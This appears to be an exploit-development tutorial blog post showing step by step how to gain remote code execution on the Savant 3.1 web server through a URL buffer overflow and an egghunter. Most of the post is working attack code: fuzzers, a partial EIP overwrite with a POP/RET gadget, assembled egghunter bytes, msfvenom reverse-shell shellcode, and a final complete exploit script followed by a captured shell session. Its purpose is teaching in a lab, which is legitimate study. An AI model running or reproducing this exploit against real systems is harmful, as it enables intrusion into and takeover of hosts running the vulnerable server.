Introduction
The Savant 3.1 is a HTTP server that enables us to host a website. The URL buffer in savant 3.1 accepts more data than it can hold which leads to buffer overflow. However, to exploit the Savant 3.1 application we need to use the egghunter technique as the URL buffer is too small to hold our shellcode.
In this article I’ll go through developing remote code execution exploit for the Savant 3.1 application using the egghunter technique. If you don’t know what the egghunter technique is I recommend reading through What is Egghunter?.
Preperation
-
Setup a Windows 10 virtual machine.
-
Install the Savant 3.1 application on the virtual machine.
-
Disable Microsoft Defender as it can interfere with exploit development process.

-
Disable Windows Firewall so we can access the HTTP application running at port 80.

Partial Controlling EIP
Instead of manually sending multiple of requests to overflow the application I would instead recommend building a Fuzzer which automatically increments the payload and sends the requests. Here’s a overview of a Fuzzer I built for Savant 3.1 application.
#!/bin/python3
import requests
def main():
try:
server = "192.168.221.148"
port = 80
for i in range(1, 1000):
inputBuffer = b"A" * (1 * i)
print("Sending {0} bytes of data".format(len(inputBuffer)))
req = requests.get("http://{0}:{1}/{2}".format(server, port, inputBuffer))
print("Done")
except requests.ConnectionError:
print("Could not connect!")
if __name__ == "__main__":
main()
The crash occurred after sending 250 bytes of data which means to control the EIP register we will need to send anywhere from 250 bytes to 260 bytes. I manually sent multiple of requests and found that the exact offset that allows us to control the EIP register is 253 bytes.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.148"
port = 80
# HTTP Header
httpMethod = b"GET /"
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = b"A" * 253
inputBuffer += b"B" * 4
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(inputBuffer)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()
The EIP register is overwritten with 0x42424242 which means we have a full control over the EIP register. Unfortunately, in our situation the only library without any security mechanism such as ASLR, DEP, CFG, and SafeSEH is Savant.

Luckily for us the Savant 3.1 application automatically adds a NULL byte (0x00) at the very end of the URL buffer. That allows us to perform a partial overwrite on the EIP register instead of performing a full overwrite.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.148"
port = 80
# HTTP Header
httpMethod = b"GET /"
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = b"A" * 253
inputBuffer += b"B" * 3
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(inputBuffer)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()
The EIP register has the address 0x00424242 which means that we can instead perform a partial overwrite on the EIP register and use instructions inside of the Savant application.
Finding POP, RET32
The Savant 3.1 application stores the URL buffer address inside of the stack. Here’s a overview of the addresses inside of the stack.

A jump instruction (JMP ESP) will lead to access violation in this scenario therefore we will instead need to perform the instructions POP, RET to jump into the URL buffer. The msf-nasm_shell will allow us to obtain the hexcode for the instruction POP, RET and from there we can search for these instructions in Savant application.
kali@kali:~$ msf-nasm_shell
nasm > pop eax
00000000 58 pop eax
nasm > ret
00000000 C3 ret
You can use any of the addresses that were found by WinDbg. I’ll be using the address 0x00418674 to perform the instructions POP, RET. Now all that is left now is to overwrite the EIP register with the address 0x00418674.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.148"
port = 80
# HTTP Header
httpMethod = b"GET /"
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = b"A" * 253 # Padding
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(inputBuffer)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()
The EIP register now executes the instructions POP, RET which allows us to jump into the URL buffer. We are currently inside of the string GET / and we will need to craft the following instructions to jump over to the string /AAAA.... which we control.
nasm > xor eax, eax
00000000 31C0 xor eax,eax
nasm > test eax, eax
00000000 85C0 test eax,eax
nasm > je 0x17
00000000 0F8411000000 jz near 0x17#!/bin/python3
import socket
def main():
try:
server = "192.168.221.151"
port = 80
# HTTP Header
httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = b"A" * 253 # Padding
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(payload)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()All the operations that the exploit.py will perform now is it will jump over the NULL bytes and directly into the buffer which has strings AAAA... as these are characters that we control.

The exploit.py will now successfully perform instructions such as POP, RET and overwrite the GET / string with instructions that jumps directly into AAAA... characters that we control. The characters AAAA... will be replaced with the egghunter in the upcomming sections.
Find Bad Characters
The bad characters are the characters that the application filters out and using these characters will lead to our shellcode being corrupted. In the Savant 3.1 application we can find all these bad characters by sending 20-30 bytes of characters at the time.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.151"
port = 80
# Bad characters
badchars = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
# "\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
# "\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
# "\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
# "\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
# "\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
# "\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
# "\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
# "\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
# "\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
# "\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
# "\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
# "\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
# "\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
# HTTP Header
httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = b"A" * (253 - len(badchars)) # Padding
inputBuffer += badchars # Bad characters
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(payload)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()
An example the 0x0A is a bad character because it prevents the rest of the characters from entering the URL buffer. I repeated the process multiple of times and found that the following characters \x00\x0a\x0d\x25 where bad characters. I removed all the bad characters from badchars and it succesfully overflowed the application which means we found all the bad characters.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.151"
port = 80
# Bad characters = \x00\x0a\x0d\x25
badchars = (
b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0b\x0c\x0e\x0f\x10"
b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
b"\x21\x22\x23\x24\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
# HTTP Header
httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
httpRequestEnd = b"\r\n\r\n"
# Malicious buffer
inputBuffer = badchars
inputBuffer += b"A" * (253 - len(badchars)) # Padding
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(payload)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()
The Savant 3.1 application successfully buffer overflowed which means all the bad characters where found otherwise a access violation error would be thrown at us. The bad characters for Savant 3.1 application was the following characters \x00\x0a\x0d\x25.
Crafting Egghunter
I’ll be using the egghunter technique using the NtAccessCheckAndAuditAlarm function to crawl through the different memory regions because the function handles the access violation for us. The egghunter will continue executing to the egg string (w00tw00t) is found inside the memory.
In order to use the NtAccessCheckAndAduitAlarm function we will need to find its syscall number through the following steps in Windbg.

The syscall number is 1C9h in my environment but it could be different in your environment. The 0x1C9 will contain NULL bytes so we will need to substract it with 0x0 to convert the syscall number to a negative number.

The negative value of the syscall number is 0xfffffe37 and we can use that inside of our egghunter assembly code since it will convert it to positive number. The egghunter shellcode was built using the Keystone Engine using x86 assembly code.
from keystone import *
CODE = (
" "
" loop_inc_page: "
" or dx, 0x0fff ;"
" loop_inc_one: "
" inc edx ;"
" loop_check: "
" push edx ;"
" mov eax, 0xfffffe37 ;"
" neg eax ;"
" int 0x2Eh ;"
" cmp al, 05 ;"
" pop edx ;"
" loop_check_valid: "
" je loop_inc_page ;"
" is_egg: "
" mov eax, 0x74303077 ;"
" mov edi, edx ;"
" scasd ;"
" jnz loop_inc_one ;"
" scasd ;"
" jnz loop_inc_one ;"
" matched: "
" jmp edi ;"
)
ks = Ks(KS_ARCH_X86, KS_MODE_32)
encoding, count = ks.asm(CODE)
egghunter = ""
for dec in encoding:
egghunter += "\\x{0:02x}".format(int(dec)).rstrip("\n")
print("Egghunter = (\"" + egghunter + "\")")kali@kali:~$ python asm.py
Egghunter = ("\x66\x81\xca\xff\x0f\x42\x52\xb8\x37\xfe\xff\xff\xf7\xd8\xcd\x2e\x3c\x05\x5a\x74\xeb\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe6\xaf\x75\xe3\xff\xe7"The egghunter assembly code will conver the value 0xfffffe37 to 0x1C9 using the instruction NEG EAX. Once the syscall number is a positive value the NtAccessCheckAndAuditAlarm function is called to crawl through the different memory locations to find the egg string (w00tw00t).
We can now copy the shellcode generated for us by the Keystone Engine and include that inside of our URL buffer to search for the egg string (w00tw00t).
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.154"
port = 80
# HTTP Header
httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
httpRequestEnd = b"\r\n\r\n" # Newline HTTP Request
# Egghunter
egghunter = (
b"\x90\x90\x90\x90\x90\x90\x90\x90"
b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
b"\x37\xfe\xff\xff\xf7\xd8\xcd\x2e"
b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
b"\x75\xe3\xff\xe7"
)
# Shellcode
shellcode = b"w00tw00t" + b"D" * (400)
# Malicious buffer
inputBuffer = egghunter # Egghunter
inputBuffer += b"A" * (253 - len(inputBuffer)) # Padding
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd
# Sending payload
print("Sending {0} bytes of data".format(len(payload)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()The egghunter technique has now been successfully implemented to the exploit.py script which means the only thing that is left is adding the reverse shell shellcode.
Generating shellcode
The reverse shell shellocde can be generated using msfvenom and that will allow us to generate a shellcode without any bad characters. You will need to add the bad characters inside of the -b parameters otherwise the shellcode will be corrupted.
kali@kali:~$ msfvenom -a x86 -p windows/shell_reverse_tcp lhost=eth0 lport=1337 -f python -b "\x00\x0a\x0d\x25" -v payload EXITFUNC=thread
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351
Payload size: 351 bytes
Final size of python file: 1899 bytes
payload = b""
payload += b"\xdd\xc5\xba\xc0\x06\x16\xeb\xd9\x74\x24\xf4"
payload += b"\x5e\x31\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13"
payload += b"\x03\x96\x15\xf4\x1e\xea\xf2\x7a\xe0\x12\x03"
payload += b"\x1b\x68\xf7\x32\x1b\x0e\x7c\x64\xab\x44\xd0"
payload += b"\x89\x40\x08\xc0\x1a\x24\x85\xe7\xab\x83\xf3"
payload += b"\xc6\x2c\xbf\xc0\x49\xaf\xc2\x14\xa9\x8e\x0c"
payload += b"\x69\xa8\xd7\x71\x80\xf8\x80\xfe\x37\xec\xa5"
payload += b"\x4b\x84\x87\xf6\x5a\x8c\x74\x4e\x5c\xbd\x2b"
payload += b"\xc4\x07\x1d\xca\x09\x3c\x14\xd4\x4e\x79\xee"
payload += b"\x6f\xa4\xf5\xf1\xb9\xf4\xf6\x5e\x84\x38\x05"
payload += b"\x9e\xc1\xff\xf6\xd5\x3b\xfc\x8b\xed\xf8\x7e"
payload += b"\x50\x7b\x1a\xd8\x13\xdb\xc6\xd8\xf0\xba\x8d"
payload += b"\xd7\xbd\xc9\xc9\xfb\x40\x1d\x62\x07\xc8\xa0"
payload += b"\xa4\x81\x8a\x86\x60\xc9\x49\xa6\x31\xb7\x3c"
payload += b"\xd7\x21\x18\xe0\x7d\x2a\xb5\xf5\x0f\x71\xd2"
payload += b"\x3a\x22\x89\x22\x55\x35\xfa\x10\xfa\xed\x94"
payload += b"\x18\x73\x28\x63\x5e\xae\x8c\xfb\xa1\x51\xed"
payload += b"\xd2\x65\x05\xbd\x4c\x4f\x26\x56\x8c\x70\xf3"
payload += b"\xf9\xdc\xde\xac\xb9\x8c\x9e\x1c\x52\xc6\x10"
payload += b"\x42\x42\xe9\xfa\xeb\xe9\x10\x6d\xd4\x46\xc7"
payload += b"\xeb\xbc\x94\xf7\xf6\x05\x10\x11\x92\x65\x74"
payload += b"\x8a\x0b\x1f\xdd\x40\xad\xe0\xcb\x2d\xed\x6b"
payload += b"\xf8\xd2\xa0\x9b\x75\xc0\x55\x6c\xc0\xba\xf0"
payload += b"\x73\xfe\xd2\x9f\xe6\x65\x22\xe9\x1a\x32\x75"
payload += b"\xbe\xed\x4b\x13\x52\x57\xe2\x01\xaf\x01\xcd"
payload += b"\x81\x74\xf2\xd0\x08\xf8\x4e\xf7\x1a\xc4\x4f"
payload += b"\xb3\x4e\x98\x19\x6d\x38\x5e\xf0\xdf\x92\x08"
payload += b"\xaf\x89\x72\xcc\x83\x09\x04\xd1\xc9\xff\xe8"
payload += b"\x60\xa4\xb9\x17\x4c\x20\x4e\x60\xb0\xd0\xb1"
payload += b"\xbb\x70\xf0\x53\x69\x8d\x99\xcd\xf8\x2c\xc4"
payload += b"\xed\xd7\x73\xf1\x6d\xdd\x0b\x06\x6d\x94\x0e"
payload += b"\x42\x29\x45\x63\xdb\xdc\x69\xd0\xdc\xf4"Copy the shellcode and perform the final touch by adding the shellcode inside of the exploit.py file and from there execute the exploit.py file and a reverse shell should return to the Kali Linux netcat listener.
#!/bin/python3
import socket
def main():
try:
server = "192.168.221.154"
port = 80
# Shellcode
payload = b""
payload += b"\xdd\xc5\xba\xc0\x06\x16\xeb\xd9\x74\x24\xf4"
payload += b"\x5e\x31\xc9\xb1\x52\x83\xee\xfc\x31\x56\x13"
payload += b"\x03\x96\x15\xf4\x1e\xea\xf2\x7a\xe0\x12\x03"
payload += b"\x1b\x68\xf7\x32\x1b\x0e\x7c\x64\xab\x44\xd0"
payload += b"\x89\x40\x08\xc0\x1a\x24\x85\xe7\xab\x83\xf3"
payload += b"\xc6\x2c\xbf\xc0\x49\xaf\xc2\x14\xa9\x8e\x0c"
payload += b"\x69\xa8\xd7\x71\x80\xf8\x80\xfe\x37\xec\xa5"
payload += b"\x4b\x84\x87\xf6\x5a\x8c\x74\x4e\x5c\xbd\x2b"
payload += b"\xc4\x07\x1d\xca\x09\x3c\x14\xd4\x4e\x79\xee"
payload += b"\x6f\xa4\xf5\xf1\xb9\xf4\xf6\x5e\x84\x38\x05"
payload += b"\x9e\xc1\xff\xf6\xd5\x3b\xfc\x8b\xed\xf8\x7e"
payload += b"\x50\x7b\x1a\xd8\x13\xdb\xc6\xd8\xf0\xba\x8d"
payload += b"\xd7\xbd\xc9\xc9\xfb\x40\x1d\x62\x07\xc8\xa0"
payload += b"\xa4\x81\x8a\x86\x60\xc9\x49\xa6\x31\xb7\x3c"
payload += b"\xd7\x21\x18\xe0\x7d\x2a\xb5\xf5\x0f\x71\xd2"
payload += b"\x3a\x22\x89\x22\x55\x35\xfa\x10\xfa\xed\x94"
payload += b"\x18\x73\x28\x63\x5e\xae\x8c\xfb\xa1\x51\xed"
payload += b"\xd2\x65\x05\xbd\x4c\x4f\x26\x56\x8c\x70\xf3"
payload += b"\xf9\xdc\xde\xac\xb9\x8c\x9e\x1c\x52\xc6\x10"
payload += b"\x42\x42\xe9\xfa\xeb\xe9\x10\x6d\xd4\x46\xc7"
payload += b"\xeb\xbc\x94\xf7\xf6\x05\x10\x11\x92\x65\x74"
payload += b"\x8a\x0b\x1f\xdd\x40\xad\xe0\xcb\x2d\xed\x6b"
payload += b"\xf8\xd2\xa0\x9b\x75\xc0\x55\x6c\xc0\xba\xf0"
payload += b"\x73\xfe\xd2\x9f\xe6\x65\x22\xe9\x1a\x32\x75"
payload += b"\xbe\xed\x4b\x13\x52\x57\xe2\x01\xaf\x01\xcd"
payload += b"\x81\x74\xf2\xd0\x08\xf8\x4e\xf7\x1a\xc4\x4f"
payload += b"\xb3\x4e\x98\x19\x6d\x38\x5e\xf0\xdf\x92\x08"
payload += b"\xaf\x89\x72\xcc\x83\x09\x04\xd1\xc9\xff\xe8"
payload += b"\x60\xa4\xb9\x17\x4c\x20\x4e\x60\xb0\xd0\xb1"
payload += b"\xbb\x70\xf0\x53\x69\x8d\x99\xcd\xf8\x2c\xc4"
payload += b"\xed\xd7\x73\xf1\x6d\xdd\x0b\x06\x6d\x94\x0e"
payload += b"\x42\x29\x45\x63\xdb\xdc\x69\xd0\xdc\xf4"
# HTTP Header
httpMethod = b"\x31\xc0\x85\xc0\x0f\x84\x11" + b" /" # XOR EAX, EAX -> TEST EAX, EAX -> JE 0x17
httpRequestEnd = b"\r\n\r\n" # Newline HTTP Request
# Egghunter
egghunter = (
b"\x90\x90\x90\x90\x90\x90\x90\x90"
b"\x66\x81\xca\xff\x0f\x42\x52\xb8"
b"\x37\xfe\xff\xff\xf7\xd8\xcd\x2e"
b"\x3c\x05\x5a\x74\xeb\xb8\x77\x30"
b"\x30\x74\x89\xd7\xaf\x75\xe6\xaf"
b"\x75\xe3\xff\xe7"
)
# Shellcode
shellcode = b"w00tw00t" + payload + b"D" * (400 - len(payload))
# Malicious buffer
inputBuffer = egghunter # Egghunter
inputBuffer += b"A" * (253 - len(inputBuffer)) # Padding
inputBuffer += b"\x74\x86\x41" # Controlling EIP (0x00418674)
# Crafting payload
payload = httpMethod + inputBuffer + httpRequestEnd + shellcode
# Sending payload
print("Sending {0} bytes of data".format(len(payload)))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))
s.send(payload)
s.close()
print("Done")
except socket.error:
print("Could not connect!")
if __name__ == "__main__":
main()kali@kali:~$ rlwrap nc -lnvp 1337
listening on [any] 1337 ...
connect to [192.168.221.134] from (UNKNOWN) [192.168.221.154] 53319
Microsoft Windows [Version 10.0.19045.6466]
(c) Microsoft Corporation. All rights reserved.
C:\Savant>whoami
whoami
desktop-ev71grl\student
C:\Savant>hostname
hostname
DESKTOP-EV71GRLWe successfully managed to craft an exploit for the Savant 3.1 application which uses the egghunter technique to crawl through the memory to find the reverse shell shellcode and then return a shell to our Kali Linux machine.
Conclusion
The egghunter technique can be difficult concept to grasp in the beginning but the more hands on experience you get with it the easier it becomes. The only thing that is important to remember about the egghunter technique is that it’s used for crawling through the memory to find the egg string (w00tw00t).
If you’re interested in the technical details about the egghunter technique I would recommend reading ther following article What is Egghunter In Exploit Development?. Hopefully this article gave you some clarity over what egghunter techique is in exploit development!